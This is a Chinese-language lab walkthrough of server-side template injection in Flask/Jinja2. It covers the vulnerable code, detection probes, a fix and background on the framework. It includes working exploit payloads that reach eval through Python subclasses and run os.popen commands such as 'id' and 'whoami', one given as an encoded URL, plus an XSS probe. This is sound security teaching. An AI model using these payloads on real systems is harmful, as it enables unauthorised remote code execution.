Flask(Jinja2) 服务端模板注入漏洞
Flask(Jinja2) 服务端模板注入漏洞
漏洞描述
1.漏洞编号:
2.影响版本:
3.漏洞产生原因:
参考链接:
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates
先进入容器看一下web服务的代码
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
启动环境:docker-compose up -d
vulnIP:192.168.1.182
环境启动后,访问`http://your-ip:8080`即可看到flask默认首页。
Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言。
`http://your-ip/?name={{233*233}}`,得到54289,说明SSTI漏洞存在。
‘http://your-ip/?name={{'aaa'.upper()}}’
‘http://192.168.1.182:8000/?name=1’
漏洞发现
关注Flask的版本
漏洞利用
在URL后面增加<script>alert(42)</script>会触发一个XSS漏洞。
直接从globals中寻找eval
获取eval函数并执行任意python代码的POC:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
访问`http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D`,得到执行结果:
寻找__builtins__得到eval
用jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }} {% endif %} {% endfor %}
问题汇总
修复方案
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/safe") def safe(): name = request.args.get('name', 'guest') t = Template("Hello {{n}}") return t.render(n=name) if __name__ == "__main__": app.run()
基础知识
flask
Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:
- Werkzeug 一个 WSGI 工具包
- jinja2 模板引擎
Flask简单易学,下面是Flask版的hello world(hello.py):
from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "Hello World!" if __name__ == "__main__": app.run()
Jinja 2
- Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
- Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
- Jinja2 模板同样支持控制语句,像在 {%…%} 块中
{# This is jinja code # 控制结构 {% for file in filenames %} # 取值 {{ file }} {% endfor %} #} ``` Demo ``` from jinja2 import Template t=Template('{% for i in range(10) %}{{ i }}{% endfor %}') print t.render()
2021-02-19 22:10:04